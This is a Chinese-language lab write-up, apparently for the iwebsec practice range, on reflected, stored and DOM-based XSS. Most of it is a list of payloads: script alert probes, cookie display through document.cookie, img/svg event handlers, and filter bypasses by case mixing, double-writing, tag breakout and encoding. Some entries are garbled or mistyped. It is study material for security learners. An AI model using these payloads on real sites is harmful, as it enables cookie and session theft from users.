01-反射型XSS漏洞
下面给了提示:/01.php?name=iwebsec
随便输入一个nihao看看
反射型特点,输入什么输出什么
接下来用js代码测试,看看有没有xss漏洞
<script>alert(123)</script>
拿cookie
<script>alert(document.cookie)</script>
看图,这个弹窗并没有什么实际的意义,但通过它我们知道输入javascript代码是可以被执行的,当我们输入一些其他函数,比如document.cookie就可以成功盗取用户的cookie信息
拿到cookie值
补充一个好玩的
通过<iframe src="http://www.7k7k.com/" width="200" height="400">#document</iframe>
可以将7k7k小游戏回显出来
补充重用语句
常用语句:
<script>alert(123)</script>
<iframe src="http://www.7k7k.com/" width="200" height="400">#document</iframe>
<script> alert(document.cookie) </script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<script>alter('dreeee')</script>;
用于探测的万能语句:
<SCRscriptIPT>'"()Oonnjavascript
标签溢出:
"> <script>alert('dreeee')</script>;
当“<>”被转义时:
' οnmοuseοver='alert(/dreeee/)
构造伪链接:
"><a href=javascript:alert(/dreeee/)>别点我没结果</a>
大小写绕过:
"><a hREf=javascript:alert(/dreeee/)>别点我没结果</a>
双写绕过:
"><SCRSCRIPTIPT>alert(/xss/)</SCRSCRIPTIPT>
转码绕过:
javascr
ipt:alert(/dreeee/)
javascr
ipt:alert('http://')
02-存储型XSS漏洞
通过将恶意Js语句上传给服务器,当有其他用户查看时,恶意语句会被浏览器解析并执行
文本框中输入
<script>alert(123)</script>
同理输入<script> alert(document.cookie) </script>
就能够拿到cookie
也同理输入<iframe src="http://www.7k7k.com/" width="200" height="400">#document</iframe>
就能够回显7k7k小游戏
03-DOM XSS漏洞
<img src= onerror=alert(document.cookie)>
拿到cookie